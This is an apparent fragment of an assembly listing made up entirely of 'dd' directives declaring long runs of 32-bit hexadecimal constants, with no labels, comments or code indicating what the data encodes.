		dd 48682ED5h, 41E81360h, 2885E86h, 34811627h, 0B1CF4060h
		dd 0F20DAD00h, 7D80BED2h, 3188F231h, 3A2035C1h,	29E0EC7Ch
		dd 20F31A7Dh, 0FE0922C8h, 0A0B38647h, 2BD38348h, 7EC5F238h
		dd 20D607A5h, 0B0DB3DA4h, 2C4E2D92h, 0FD004F7Fh, 5C573AE3h
		dd 0EE207934h, 1D07CB8h, 0FFE415EFh, 0F1EDEC58h, 0BFBDC414h
		dd 0C5882250h, 0B46C300h, 7BBCEB45h, 9C93008Dh,	0AD7524CAh
		dd 0D8FCA04Eh, 9BDC700h, 6CF3D90Eh, 6BEA0FEEh, 32004C94h
		dd 78A68605h, 9DAAED02h, 0E8B83575h, 21312Ch, 7E805DCCh
		dd 0A2A70B77h, 98BD5207h, 6DB36A0Dh, 4186E875h,	61E40797h
		dd 5FD64E67h, 4A2A8AA1h, 0C6BE888h, 0F5348200h,	6CFD10C7h
		dd 0B3A0081h, 37135AB2h, 0F41E031Fh, 0F2070AF3h, 7316658h
		dd 41E624FDh, 0AA81F6B4h, 77E37F50h, 4FB7F857h,	98D71507h
		dd 0F4600C4Eh, 3E581961h, 0E6005B5Ah, 0F0D09044h, 46036E23h
		dd 0D3FDDD97h, 27B800A3h, 704745A5h, 0F8F8D656h, 0E4B21400h
		dd 0E861A08Ch, 25CF00F6h, 9D4E747Dh, 0FF05E607h, 0B0D2D00Ah
		dd 0DD5FE80h, 11C50E9Fh, 0BA0082DAh, 0CA5A91Fh,	0CE5CBC00h
		dd 0FD20231Ch, 0E7AD3B3Fh, 7DAE5B00h, 0F12DD879h, 7381911Eh
		dd 3C40E89Fh, 0C2B1BE5Fh, 0C59A003Ah, 0F68C6741h, 6C00F58Ah
		dd 2CFEB00Ch, 1E5C1102h, 40EC5B38h, 0E0F9B5D1h,	79E8F6DBh
		dd 397F1700h, 0BD66EA49h, 4F280045h, 0B6CB620h,	3000FA57h
		dd 47CFBFB7h, 4CFB3Fh, 35C38380h, 6C8D66B1h, 4EE00400h
		dd 0C958E626h, 122C00A3h, 0BE8EB61Ah, 6B300EC0h, 727D78A9h
		dd 75440310h, 0DE3D17E0h, 7600A3A3h, 22F86061h,	0E6E6830h
		dd 8927100Dh, 86DEEB23h, 0BC5C7688h, 0FD663E00h, 9F3F234Ch
		dd 8D2700FAh, 84FF85F2h, 6100C8A5h, 5E98B5D7h, 650B19h
		dd 240AE94h, 891CC5E4h,	6D93FC00h, 6362FA88h, 7CF90085h
		dd 0AF43F355h, 0D70C8F58h
		dd 7282832Dh, 73F61F88h, 9C6781ECh, 0BE6F3BC2h,	0E69B0009h
		dd 456A3A71h, 170903AFh, 2501144Bh, 0F8C1A6A1h,	0D3000442h
		dd 30F40E0Bh, 1EF6B3E6h, 408C4931h, 0ACD9210Ch,	16005380h
		dd 819B14B1h, 3CE1B56Bh, 26871CD6h, 0B7FC1349h,	0B03AC724h
		dd 1AEA80A9h, 8FB4693Ch, 128F2871h, 26993D01h, 0AAF9B059h
		dd 0B537E0F6h, 75CE3C38h, 0FD007E38h, 55135B7Dh, 0A639E9F8h
		dd 0EE1980C2h, 6DCF933Ah, 484E00D5h, 7945E347h,	2201C37Bh
		dd 0DF0216DAh, 9C40D75Ch, 0F0C63367h, 0A7EE006Fh, 8659FDC5h
		dd 4B012173h, 6CF6B09Eh, 92C4A2A6h, 0F496E8EFh,	9566005Fh
		dd 0B288E713h, 0B4B0378Eh, 0C6A79200h, 4FFD2991h, 1189006Dh
		dd 475A3008h, 0D9E453BDh, 48C3A3FCh, 0E05413FEh, 303F263Ch
		dd 22784E10h, 703CC0E4h, 986B0011h, 8D0BABC5h, 0E680001Ah
		dd 20D19C05h, 0CD78C227h, 63000AF2h, 98FECC38h,	514DAD9h
		dd 0ACE99717h, 0A0B8009Ah, 82ECFD52h, 0F0676300h, 0CEC94EA5h
		dd 3DF2D4h, 86BCD1FFh, 0F178E0E9h, 29972C00h, 646BD617h
		dd 0BE2639C5h, 0FFFE4D0Bh, 0A5838A83h, 2D1C9E7Dh, 7C64A04Fh
		dd 0BEBC7800h, 3A26C6Eh, 0E48E1902h, 88005188h,	0A6BA5E43h
		dd 969374h, 0BB4AD19Eh,	34371CE7h, 0A202B700h, 0F710491Eh
		dd 1EC84h, 0F5D3288Dh, 0F8A1F6B9h, 4C35D600h, 78FC0FB3h
		dd 711C0614h, 80EAC54h,	440007F8h, 8D7308D1h, 2F96DAh
		dd 8FAA18D8h, 4B277EDh,	0C3579303h, 88E92DCCh, 3187C9Fh
		dd 602F94FFh, 0A0A7A60Ch, 0A1A061FDh, 832E583Ah, 0D1DBF76Eh
		dd 728E00ABh, 11B4D1Fh,	0D0082E5h, 88938F4Bh, 75D4DCE8h
		dd 0FD62000Eh, 141FEBBEh, 403828Ah, 633F3489h, 5880ACFBh
		dd 1E6A67h, 6E5D05B1h, 5A82EF1Fh, 240F4B79h, 37CF622h
		dd 80E1D0DFh, 2A4628h, 0D262C467h, 217FA0FCh, 0FF966A10h
		dd 0C0C2721Fh, 5C9B3B15h, 9C9019BBh, 1DBF8214h,	35DE14A4h
		dd 0BC2E63E4h, 40DC03FDh, 4E43F0CDh, 795F07E8h,	3A0FAC18h
		dd 8070D0h, 88A1566h, 0E99AF99Fh, 91E3FC00h, 254A5163h
		dd 0AC78C0D3h, 9E585D3Ch, 5593D200h, 438431A9h,	0C8F6B3h
		dd 7329079Fh, 0F83CB692h, 27249700h, 0D24C6C23h, 0BD540F2Bh
		dd 9E2A2Ch, 5A16A1FFh, 4002D55h, 0CA069B17h, 9D4B26h, 5EB633C2h
		dd 0D961B53Bh, 5844BD18h, 2CDF26D0h, 45C6C7h, 4B5D8732h
		dd 0F400F61Dh, 30DB099Fh, 9B8E078h, 2C492F5Bh, 8FF33C82h
		dd 98FFA12Eh, 5FE4DAA5h, 0F4165012h, 1D8704ECh,	80DB4A55h
		dd 34DDA870h, 6AB90915h, 80B03AACh, 516612B8h, 13FFE1h
		dd 9CDB874Ah, 3C36F6D4h, 70F1DF2h, 0A004C469h, 0DB6F3FBBh
		dd 967C034Bh, 52CCEA75h, 12AC2100h, 971CEB8h, 965A05ADh
		dd 86A533BEh, 410076E9h, 48A85DACh, 17CE2F76h, 0C3E4F5h
		dd 0DE36B06Fh, 890ECDA6h, 801B206Bh, 0C6F2BEE1h, 78940005h
		dd 0A69AC0D8h, 0C878BAE6h, 3B9D1200h, 59AA1174h, 29A30EF3h
		dd 58E045ACh, 30BD48BCh, 8008DE6Fh, 7C40FF44h, 8BE40990h
		dd 73802713h, 59CBF13Ch, 0C20FED00h, 95145EDFh,	73B829h
		dd 0D87A348Ah, 748FD5BFh, 8D3ACF00h, 0DECF9B3h,	0A4D30627h
		dd 0A81EA94Dh, 2B30D605h, 0E4003A26h, 0DF92FE45h, 0FA080DACh
		dd 0F278788Eh, 0BCA3C881h, 2064F935h, 63005588h, 1393CAFEh
		dd 0C4C0916h, 0ADEA4B10h, 600B4048h, 5CDB3h, 62CFA09Ah
		dd 0E9FD004Dh, 495DBABDh, 0D400B450h, 8F90FFC5h, 4BAE8885h
		dd 0D0FAE0ADh, 0F400F09Ah, 41309ECh, 3EF9146Dh,	2F804737h
		dd 4E417671h, 0E9FF5CD5h, 0D470D0ABh, 0B05E4406h, 18C38Bh
		dd 28D62D0Ch, 0FC0E3C6Fh, 0FBB7E100h, 47DC6A60h, 10CE001Ah
		dd 710A4974h, 1F03685h,	0D7CAF900h, 4AD41F63h, 74E1048Eh
		dd 80163ABAh, 0E2EBB538h, 0B32A0A0Fh, 505F2158h, 6AD8616Fh
		dd 0C8C24C94h, 57608800h, 86C7350Dh, 1910BA34h,	0C10762C0h
		dd 0AD73000Eh, 5025BFCEh, 0DD00B47Fh, 93C6C823h, 0ABFD27h
		dd 9F6C5437h, 1017C208h, 7F51B103h, 0A971D97Ah,	0A8608AA6h
		dd 0B9450065h, 3CE3DD93h, 0E07297Eh, 4399184Fh,	195A2490h
		dd 1AFD07A2h, 0B07E51DBh, 0C23C952Ah, 80A3BA39h, 0C44BDE85h
		dd 0FA91F531h, 0FE21CD0h, 7913C00Ch, 77FF12F9h,	5C7FE600h
		dd 0C1BE919Ah, 5DD8920Fh, 0CC8014E3h, 6BB18E8h,	0D5EF6B00h
		dd 58EAC797h, 0F4801C03h, 49A880BAh, 0E829F568h, 86733710h
		dd 0F2272B00h, 0C18E7818h, 9E00EFE8h, 23E6BB3Ah, 32A93C7h
		dd 365DDD1h, 70DFB335h,	0BD88F9F0h, 8CF0E750h, 0C0C41748h
		dd 0DC614724h, 1FC90089h, 628FEC12h, 0AC3318A1h, 0B8C7B944h
		dd 0A1764h, 36255E93h, 178FA59h, 0FF113400h, 3CB4DB2Ah
		dd 64383AADh, 2EC0C681h, 0D04D15A2h, 410082E3h,	7388B5D6h
		dd 0E01175F0h, 0AE450006h, 8AAE9F7h, 0E5052BEFh, 0EBC1209Eh
		dd 40051480h, 92B200F2h, 2678CB89h, 98C428B8h, 1049C96Bh
		dd 85F7D020h, 0AD1225F1h, 0A40022D4h, 8E989A36h, 2CE42F86h
		dd 0F8F639E0h, 0BA5F5600h, 0E24A1DE5h, 90CC03DFh, 5B83B744h
		dd 27B4FB8h, 0AB04AA0Eh, 3E6FE01Eh, 45EF2Dh, 0D4DF9885h
		dd 9EB56E62h, 3B607700h, 0FB5BA82Ah, 5AD83934h,	0D7F7D200h
		dd 0AF418916h, 2460F00h, 1ADF3D9Ch, 0B8AA00A9h,	0F1C8A297h
		dd 0F001360h, 20674728h, 0BBCA6B5h, 15514E0Dh, 0FE5638B0h
		dd 8B9D7A1Ch, 8597F040h, 3EEBF48h, 0A6304EC7h, 7DA8843Eh
		dd 99051F56h, 32A991FDh, 0C0EBABC2h, 0A45C70h, 63592B10h
		dd 65582402h, 4A0712E6h, 7E2EF748h, 0D83D23A3h,	0C4A7A0h
		dd 0DD63E8D4h, 0C55AA2FDh, 0FC0009DFh, 0CBDF91C7h, 7173961h
		dd 9BB6AB03h, 0D9A8DE05h, 0EA014CBCh, 3FF2B091h, 0AFD48394h
		dd 0EF8407C5h, 205CD698h, 0F6DF5738h, 7D0AD77Eh, 0E48610C0h
		dd 406B0C0Fh, 0F9D92421h, 6AC0FFFh, 7EC7DFF0h, 67C612F3h
		dd 8B9EA460h, 0CDAA4E1Ch, 1AB1056h, 9F46B1Dh, 4D5702Ah
		dd 2B85900h, 94A25064h,	0C7540012h, 9B69CE25h, 0CD39D528h
		dd 720709C6h, 0FC144045h, 4C6E00FDh, 7411ECCAh,	5503A87Eh
		dd 89D750BBh, 62A00798h, 70D28D24h, 0CF025329h,	5004C98h
		dd 0ADB5B35Eh, 1E35A80h, 40443E9Dh, 203F1F4Eh, 9F007581h
		dd 0F4273DF8h, 0B88B8542h, 55AE01E0h, 6CEC2B53h, 0A4E820EFh
		dd 945DA500h, 6991E147h, 64150040h, 7C891DC1h, 0B3FED06h
		dd 4E20E79h, 73D46078h,	16D8316Ah, 0EF99E0Eh, 86605D6h
		dd 0B43C6AE7h, 0BB30F4FDh, 1CE409E5h, 0BEF105AFh, 0C068FCDEh
		dd 0F2A3CB50h, 5C384898h, 6EBB1CC8h, 3230AF00h,	25EA2Ch
		dd 0CE897E8Fh, 19A7E72Fh, 0A9D44D01h, 0F25AF0E2h, 39D2E8h
		dd 24833BEDh, 9D47FEA4h, 9E00E8E8h, 58C68952h, 1C0FE988h
		dd 405AAF87h, 15566638h, 1800506Ah, 3433ACC8h, 0F6EFF06Eh
		dd 23C30044h, 0A7B009F8h, 82003D6Dh, 0EDD680D5h, 0F3BDF5h
		dd 0E31594Bh, 1FCFC44Ah, 2C0B1B00h, 456DBEB5h, 4B7D0028h
		dd 8996C24Fh, 70FC152Dh, 6B42FF00h, 0D5A50AA3h,	0B22F0064h
		dd 0CEE85E49h, 900063C8h, 46A33841h, 7871489Ah,	9D992828h
		dd 825B07DCh, 80884AB1h, 0A36A70F7h, 5F857B07h,	518079D7h
		dd 7E3B82BFh, 555700B3h, 65BBFA04h, 8DFF99Ch, 0E07F6800h
		dd 16ED5F10h, 2B136Ch, 9A2E2586h, 4D7BD630h, 9E4A2600h
		dd 749B1BB6h, 0F887E73h, 0EFCE5EB8h, 0BC2F0BA0h, 9FF46EC2h
		dd 46701E00h
		dd 0C8762008h, 5C8A0F45h, 8FC00753h, 852A6B0Bh,	0E100E472h
		dd 0CC457D66h, 74A22240h, 0D9760B06h, 0A50058C1h, 468ECD74h
		dd 0DCC86300h, 8DA73B12h, 47E873h, 413AB003h, 924F537Bh
		dd 6AF17D1Eh, 3EB54000h, 0C6BD561h, 9870508Eh, 0AF009EEAh
		dd 13CFF884h, 0E68290h,	19569365h, 18A78B29h, 0D69F8A2Fh
		dd 441763h, 505DC8F2h, 8DFC75Ch, 1600900h, 4CEFE426h, 0E671C629h
		dd 0C7AD001Dh, 4A2D616Dh, 70008265h, 95F67319h,	3814E57h
		dd 0E57249FFh, 0E1A0B88Bh, 0F101CC26h, 18FCB779h, 50F494D5h
		dd 1C8400FBh, 0BE1D2157h, 1A00E056h, 4C0CE3B3h,	0F3B12Eh
		dd 0AB549FA8h, 9394232Ah, 627BE02Ch, 86ED8500h,	50BC710Dh
		dd 91B8254h, 1F495C53h,	24D54300h, 990A7051h, 0C2DB958Eh
		dd 0EB1C1100h, 1EC6C8Ch, 6443408Bh, 0D4843D34h,	0F0002E7Ch
		dd 49CD73B0h, 61CC4Eh, 4053666Dh, 75A2DF96h, 0D4D8BB00h
		dd 1BD114E4h, 78A8007Ah, 0A716D33Fh, 5400C506h,	21BC6D55h
		dd 3B938Dh, 0A8774F14h,	19D307A2h, 3BB5353Ch, 0BE26004Ah
		dd 5457D572h, 43E21466h, 0F2008899h, 0DD1C4AADh, 35008D1Dh
		dd 0AE73D92Ch, 2D472Fh,	83906562h, 0C6F6F8AAh, 0EE60501Ch
		dd 2035438Dh, 1F113C60h, 4031D0F7h, 75965F0Dh, 431C9F91h
		dd 0C540F1E2h, 7F6577F8h, 117024CAh, 6E6880BCh,	0D91EA643h
		dd 664A7601h, 0F987AE19h, 1FA18C8h, 0B16C34F2h,	0F826130Eh
		dd 7C00EF6Fh, 9D79CE63h, 0B029F444h, 3A1A00B6h,	523D54E6h
		dd 4490866Fh, 6C583701h, 0D666FF56h, 0F4BF22F0h, 0C64900A5h
		dd 2F4CA6C5h, 1401DD10h, 77B27D2Dh, 0C84082FAh,	119B8Bh
		dd 0B1DFCCD6h, 8CC37073h, 0BD15CB1Dh, 0CF3DF4C1h, 0C0400581h
		dd 3884A651h, 0B9800885h, 0D09062B6h, 52003566h, 0F8AFA5FDh
		dd 3EB74EDh, 26CC1B30h,	96A87AC5h, 0FF006F03h, 7F6C07F9h
		dd 1E51A8D1h, 2E73109h,	80E5D8D0h, 6F14B880h, 1B7356CDh
		dd 160F647Eh, 802A2DDFh, 1AEDA83Bh, 0CB461489h,	200A8D4h
		dd 8315996Ch, 27005D09h, 804071B7h, 7064CF4Fh, 0B37B009Eh
		dd 0DB76FBAFh, 77000DCAh, 0F6203112h, 0C4E2896h, 751B9C32h
		dd 6F0E3046h, 1C3D5B03h, 9AD35607h, 4108E22Fh, 0FFE48006h
		dd 1D2F36D8h, 0C0EF4C98h, 3E801DAAh, 7F60D4E6h,	7E74B08h
		dd 0D6C80968h, 788056A0h, 575EF7DCh, 0D1F1D203h, 0B14DFB54h
		dd 982093FCh, 7EEF0FE8h, 0FF806AE9h, 1B8C05B3h,	0BA944C12h
		dd 0CC8BAC00h, 7D4393Eh, 0CB3C57A8h, 0B88EC0B5h, 0EE0F8032h
		dd 0E04A0487h, 0F478F8FBh, 0A6E6005Dh, 4417F513h, 8E1EEF6Dh
		dd 3B0F5BBDh, 32D6203Ch, 7FD1C1Bh, 0D28B4F52h, 0DE2D0B2h
		dd 9613E79Eh, 780E5A5Eh, 28F2A0C2h, 136E49h, 62F097D8h
		dd 3B161A06h, 1F218700h, 5ACD1CACh, 53D80366h, 91BC6532h
		dd 209A7DB1h, 8203EDB4h, 0FDF2A1Ch, 158888E3h, 7201072Dh
		dd 0D0DA764Ah, 787A628Fh, 0E0126300h, 27021804h, 7B21015Fh
		dd 7ED7A3BAh, 47B5E4EEh, 0F08F0F1Ch, 8DD3B980h,	99944Ah
		dd 9EDE59D5h, 92AE36A4h, 54608C0Fh, 0A8DB0276h,	4A0816Fh
		dd 0DDE04495h, 0EE1400A2h, 0CC0E522Bh, 7604C8C9h, 1B9F8232h
		dd 0F353DCC0h, 472A00DDh, 2DA9A614h, 5403F16Ch,	2BA3B5DEh
		dd 0CE46A099h, 0BC804915h, 412D8E16h, 66A81A64h, 26F1F87Ch
		dd 0B9391800h, 0E3037B12h, 9C4C4CACh, 63326880h, 504439D5h
		dd 0C9B50E74h, 304088BBh, 0CFC14309h, 669E9D00h, 8939A152h
		dd 0D0AE001Bh, 0DEF96CBEh, 0DC03502Fh, 685E4A81h, 6CD0DC09h
		dd 2E39360Bh, 8DB74Ch, 0E0270873h, 0C1009D3Ch, 0C6D6E396h
		dd 780F5DEh, 0F1FDBF44h, 0B6B4B0F9h, 3A00DB8Ah,	9862C8E2h
		dd 90696D4Dh, 0C6150028h, 1A9EEB4h, 8CB0041Ah, 8C2B1E00h
		dd 8DA4BF4Ah, 0EDB5007Bh, 528B898h, 0EE00016Fh,	51FF3C84h
		dd 55C4DDh, 4C542BA7h, 0A3F5416Eh, 1E79EA00h, 0E45EFA6Ch
		dd 4DC73D2h, 0EDE85CA4h, 86008090h, 6D0ECD64h, 0A003C3DAh
		dd 283FCCADh, 0B05274A4h, 7FDB002Bh, 0F89C4ADCh, 0C51E39FDh
		dd 17001B26h, 663DEA9Fh, 0EB7E99h, 7CBE42A9h, 7730D55Dh
		dd 0AE57BC07h, 0EBC0A8B1h, 3D0415D9h, 0D380DBBFh, 43E4FD01h
		dd 1100CFB8h, 0C3ECA00Dh, 2FC6A8h, 0DA196359h, 0A328551Fh
		dd 0DE9CFA50h, 0B7DD3A07h, 1BE046A7h, 8EF876h, 0A845C71Eh
		dd 0DC6C7EC4h, 62E9390Fh, 34FE60AAh, 1046DDh, 76F59E29h
		dd 0BB80E15Ch, 8069E83Ch, 2F82279Dh, 0B20637h, 7A383C59h
		dd 8662F45Ch, 0D8C54600h, 74E516CBh, 51220004h,	0C4D70DB6h
		dd 257C7CD6h, 8E886800h, 0DD8B33BFh, 55160049h,	0F21C89Bh
		dd 933A3E25h, 0EE1B0002h, 22AAD604h, 0A3EB00FAh, 874EB10Bh
		dd 0FC00F60Dh, 47DB2464h, 19812607h, 94D1DC6h, 0F7F0EC25h
		dd 0F5C1A301h, 993FEB9Eh, 7EDED0h, 4D2719D1h, 2B5DEDFEh
		dd 0DB2DEA00h, 85C5FABEh, 218F00F5h, 32C65469h,	0F20097A7h
		dd 718117C0h, 0B2779h, 73B63F24h, 6309B43Ah, 5CFC8538h
		dd 0F87403BFh, 0D0175DFFh, 0C0C4FB7Bh, 281E3258h, 9C9096EAh
		dd 1B626907h, 0C160F37Fh, 256D632Bh, 527EB385h,	0BD211200h
		dd 0CBBC4Fh, 0C9B8ED9Fh, 0F42E1D6Fh, 0C8DA800h,	0E48B4013h
		dd 24B700A7h, 0E7D18F99h, 0A60074C5h, 0EA324668h, 0F822B53Eh
		dd 406300D8h, 18CC758h,	23F468D5h, 80586558h, 85ADEAAh
		dd 25032E06h, 1BC2663h,	0DDFC23A8h, 6AEFD00Ah, 0C7BA1A05h
		dd 48094BCh, 0F397E0h, 99E7EE72h, 0C87C1E81h, 4DFEC200h
		dd 95B32884h, 0FCB60946h, 0F8210E3Fh, 0D004AC24h, 5A008C79h
		dd 47AEE32Ah, 0D538D4h,	654CE7FFh, 0AA119F7Ch, 0D3779201h
		dd 9334991Ah, 3E1FA4E0h, 0FB9D6DFAh, 0A1AF0430h, 0B8D880D3h
		dd 100090DFh, 0AB24DC51h, 4DB7B199h, 500584Bh, 0D0D2BE87h
		dd 2C901C78h, 4CC72A02h, 6073BC36h, 11788F0h, 0E798A470h
		dd 3038E16Eh, 2600DD60h, 77073DC7h, 576B803h, 88F767ADh
		dd 91548318h, 43BAE6A8h, 2DB4C03h, 0E8836581h, 40D460h
		dd 4671A887h, 11C636F9h, 5CCE5A3Ch, 0B4C700DAh,	504CB732h
		dd 5EB909EBh, 9B008AF9h, 0EE43E662h, 8C5A931Fh,	53738F02h
		dd 0F3E0852Ch, 24239481h, 0CE8011BDh, 94EC596h,	0D9002DB3h
		dd 1AE14CC9h, 0C73007h,	8B3459B9h, 56336719h, 0D2786D00h
		dd 0D7EB542Dh, 4A8E00B5h, 8A16F120h, 17007121h,	431E6D92h
		dd 1FAC1CD1h, 28E1BD80h, 0AD200CDCh, 0EBA151E2h, 63A88654h
		dd 0DD45400h, 0E78AFF5Fh, 0F87003Dh, 0E486E699h, 1D0058F6h
		dd 3410CB21h, 3691A6Ch,	5C7BD160h, 4B0644Ch, 0EEC0D6B5h
		dd 882178FBh, 6654092Eh, 1827C1B3h, 9EA2C061h, 5600F6C9h
		dd 0C31D9C0Eh, 481AA1E5h, 0E600865Fh, 0C0BEB827h, 69002809h
		dd 0AD4F2DFCh, 0FEB1B725h, 5D911D10h, 74C1804Ah, 9876F24Eh
		dd 405F5000h, 0A30EC22h, 910003Ch, 1E64350Eh, 0BE7CAC78h
		dd 24D4FA26h, 0BD7F400h, 1CA7B0Fh, 0C91A76D8h, 0D87D42B4h
		dd 9D00624Eh, 0B3929675h, 3960781Bh, 0B64CA9C5h, 0AC440B00h
		dd 6B357E1Eh, 89523F00h, 0AF13AE7Bh, 589100BDh,	5F0E2030h
		dd 0B600D44Bh, 0D81125A7h, 0A914FEh, 0FA546ADFh, 78DD8980h
		dd 0E0A571FDh, 0D9003EA7h, 0B297F8D3h, 1D57127Fh, 0C05EB038h
		dd 20602D3Ch, 33004443h, 3B196FE6h, 0FEE00797h,	2DF90EB8h
		dd 938A8621h, 0B5C00B0h, 9FA64827h, 8012FE39h, 0ECACF4ADh
		dd 7870B8C0h
		dd 6CB0E1h, 849A0B42h, 838E576Ah, 0A0563D0Dh, 72F0097Bh
		dd 0BA8005Fh, 4962425Ah, 0EE00A481h, 20E370CEh,	31B6F68h
		dd 1C319A48h, 51A075C7h, 0F501DBF9h, 32E784B6h,	6C202B61h
		dd 9BB73F1Fh, 2D5D9E00h, 0A6E144ABh, 834F7809h,	634E84CCh
		dd 60DA1C82h, 40DB66h, 0ECF777EDh, 6E29954Ch, 9CBD917h
		dd 4A105003h, 14E0C093h, 0B91E2E8Fh, 1F179CB0h,	35B701B5h
		dd 0ECF4E72Eh, 0C100A0E3h, 0FB079CA6h, 26F20EF1h, 109AFFh
		dd 15FACE6h, 877865CDh,	0C7F76300h, 0F569A20Bh,	1A3D005Ah
		dd 0ADBB60D7h, 0FD12518Ah, 8C008E61h, 3C8C64E6h, 49FF007Ah
		dd 592E5C95h, 0E1021E96h, 0BF1767E7h, 0DD08E0BBh, 0C884AB8Ah
		dd 7B20B5CAh, 0B12518B7h, 69291031h, 1D2F0201h,	9A2E4EB8h
		dd 98AA0024h, 46DC008Fh, 8BE8CBA7h, 54004C88h, 0B0E13ED1h
		dd 515131Ch, 0D978696Eh, 4283C1A9h, 0F7844075h,	790066E4h
		dd 0F1AB67EEh, 7D6A83h,	0A13DF5E2h, 7C62A9E6h, 0C1033Fh
		dd 0B62EF291h, 1B2801ADh, 909C4B1h, 0CB7E16E0h,	0BEFEB001h
		dd 29870C7Bh, 3C736BCCh, 4801EBEFh, 0D90B1A16h,	1C1BC078h
		dd 29FF771Dh, 4C018140h, 688688h, 3CF8CCDAh, 95D4CA2Ah
		dd 754FBC03h, 0A035E459h, 3B4E52B5h, 0EC805450h, 0AF3E8498h
		dd 9317A9AAh, 8B05767Ah, 0A703AB34h, 0F8B5EE6Ch, 4CC175h
		dd 4E4ABD24h, 7C646B63h, 0D0698B00h, 54B2BFE1h,	0FB901E1Bh
		dd 282E802Ah, 45F7A6F4h, 100026FEh, 0FC34DE74h,	0E09433h
		dd 1969F5E7h, 80E29A40h, 820DBA01h, 4D3E20D1h, 6E1EE8h
		dd 9453CEA4h, 0C163A8B3h, 0D8E6F777h, 3134B700h, 66C03389h
		dd 9E454CFCh, 0FED7160h, 0E700B0CFh, 220EC889h,	0BD793Eh
		dd 0DD848A9Bh, 802E98D8h, 6800D276h, 300478A1h,	7E579502h
		dd 4F4D00D0h, 74930FC9h, 4A39DC3Bh, 0FB1D8061h,	1E6AF7B8h
		dd 451C00AAh, 9238D7B5h, 0C7012165h, 0F2992522h, 5FE45EE8h
		dd 44D80757h, 958E5CAh,	9816005Fh, 0E843DCF2h, 888EE9BEh
		dd 0CC0426Fh, 11284A55h, 0C3DF311Fh, 0A2186518h, 1B085C20h
		dd 99687200h, 40E80522h, 0FFEC5B0Fh, 4B1D602Bh,	0FA5D1FACh
		dd 186200BCh, 937F8259h, 1938D2C1h, 3BBA0079h, 6570571Eh
		dd 27FA0066h, 0C7F8BEE0h, 0D97ACA07h, 86F98C0h,	98976744h
		dd 0F98F0309h, 0D87B192Ch, 6DF2A818h, 28712E20h, 604EE4h
		dd 3BDE1E03h, 912FF8BDh, 8D8C3100h, 0F6D3D264h,	0C45200BEh
		dd 8659EF5Ch, 0DF00B122h, 395C606h, 0FF9B0D3Eh,	0B0D0C1C4h
		dd 0EE3C0006h, 0F9F0046Ah, 0DC3CFA6Ch, 6DDD80BAh, 0B40E3BB9h
		dd 0F5111F6Bh, 98CC4031h, 0CE9B7D9Eh, 0C8D95A1Eh, 83911A85h
		dd 3392F040h, 69C7F86h,	0B3050C93h, 1E7B0843h, 75392700h
		dd 0DC83D145h, 0E7CE0042h, 4748AD06h, 863BE065h, 9F360050h
		dd 27B021E8h, 0FF1B1CE6h, 84007B9Eh, 0E913391Dh, 0AF06CF78h
		dd 0C90D90C7h, 8D921F58h, 40BF9E2Eh, 4614BE35h,	4001DD3h
		dd 7F6FA7F9h, 0C0255676h, 605B8620h, 20A79073h,	0CF4E0B88h
		dd 0C0B1ABA6h, 0ED013703h, 0F802AD49h, 0C9B5B214h, 34003B19h
		dd 6B3135F6h, 5C8BC8C4h, 90141200h, 28CE2864h, 8ED0836Ch
		dd 0A6390080h, 1A5F3F7Bh, 0F0EE46Fh, 8D556701h,	61F8218Dh
		dd 5AEB0E44h, 0A415912Dh, 9D5DB200h, 9475CA5Eh,	990E3E00h
		dd 83035B29h, 34C23396h, 56A1E728h, 8038C1C0h, 0BF0C1910h
		dd 0C429170h, 40BA16A3h, 3605708h, 0C067F920h, 243E0230h
		dd 0EDC2EB6Eh, 25E2C082h, 62022C21h, 0CA869886h, 270008F6h
		dd 60B3BA28h, 50D48A31h, 8C7F7413h, 5C3F7C02h, 19E5B71Ah
		dd 67412D2h, 0CF0E135h,	34B2FE0Ah, 0C04F604Dh, 0FA917BBFh
		dd 614486A1h, 0C07300B6h, 0CFD69C64h, 9D064EEEh, 0DECEA37h
		dd 8FAB2190h, 423F708Fh, 1A569719h, 66E0100Fh, 0EAF95444h
		dd 3D1439h, 5A8176ABh, 1ED5B23h, 0E82DD01h, 0F0BAF7B3h
		dd 51069C55h, 52CFA72h,	15B173B0h, 9811DF78h, 0F0A80707h
		dd 0A3AD10AAh, 0C53A9283h, 213E30A0h, 9F7D454h,	50138B1Ah
		dd 0D3900FFh, 0A0397ED5h, 78467ECh, 89871FCEh, 0E2005FAFh
		dd 2AE8FF8Dh, 0E40CA100h, 2F814185h, 0D74A0605h, 30F4D66Eh
		dd 7F403300h, 25E3FC28h, 5E570091h, 4E85C6ADh, 28C18715h
		dd 7A57B4Ah, 5038E6F4h,	0E2050C4Fh, 13E0026h, 9DAE069Fh
		dd 231E5CD1h, 0DA00568Dh, 87DEC11Fh, 9430C01Eh,	69A07D4Ch
		dd 0AA32203h, 0A3A2D271h, 0D68803F0h, 1C7DD40Eh, 3DC160E2h
		dd 0D78EE0E3h, 7E322800h, 6ED1F35Ch, 36B9CE0Dh,	0BF145520h
		dd 0B8183231h, 4B080F57h, 0B020D4C0h, 0FD785500h, 7D86F82Ch
		dd 3F5C5D50h, 1CCD33Eh,	0DC69DF8Bh, 6E30C794h, 8021DC43h
		dd 248CC9CDh, 70C01C8Bh, 0B301C632h, 0FDB50F80h, 281486F9h
		dd 2DCD1481h, 2848A28Bh, 9867E20h, 3AC9CFDFh, 0AB72EE80h
		dd 0D20AF010h, 0C4B8A8E8h, 5EF83283h, 2CC6F0AEh, 7E050604h
		dd 21856B72h, 0C5B93Bh,	69B25D88h, 118C78DAh, 73BFA619h
		dd 85733300h, 8DAE13FAh, 4C60A4Ah, 749C0536h, 69023A46h
		dd 0D5A471CCh, 948AD980h, 652F35Fh, 553F0124h, 33D9BED5h
		dd 4D88EF0Ch, 18550022h, 0D615376Bh, 1C545671h,	6D0C6398h
		dd 128E9FB3h, 221E0EF5h, 27210ADCh, 0F413B1D8h,	1C924B9Bh
		dd 70111F0Eh, 213B203Dh, 0A1B7491h, 774D38E4h, 3F058AB0h
		dd 33500B3h, 4B8EC18Fh,	41725731h, 29F51174h, 0BFB5B980h
		dd 46F23B59h, 0D7B8891Ah, 85A48519h, 6B323A80h,	1DACA844h
		dd 762118D5h, 2FA711BDh, 448BE00h, 3C126F32h, 9F08CC4Ah
		dd 0D300FC21h, 0A62CE4B3h, 3CCC7FF1h, 0A9EA49A1h, 5C213C1Ch
		dd 0D8CCDF81h, 8A18FF8Ch, 2C9DA88h, 6057FCCh, 0A0905C50h
		dd 0DF7F884Ch, 7EA1B700h, 0C023C6E5h, 203E6A6h,	0C81FD92Fh
		dd 942087DDh, 12337D4Fh, 37A2EA68h, 0D8078BCh, 8F627DD7h
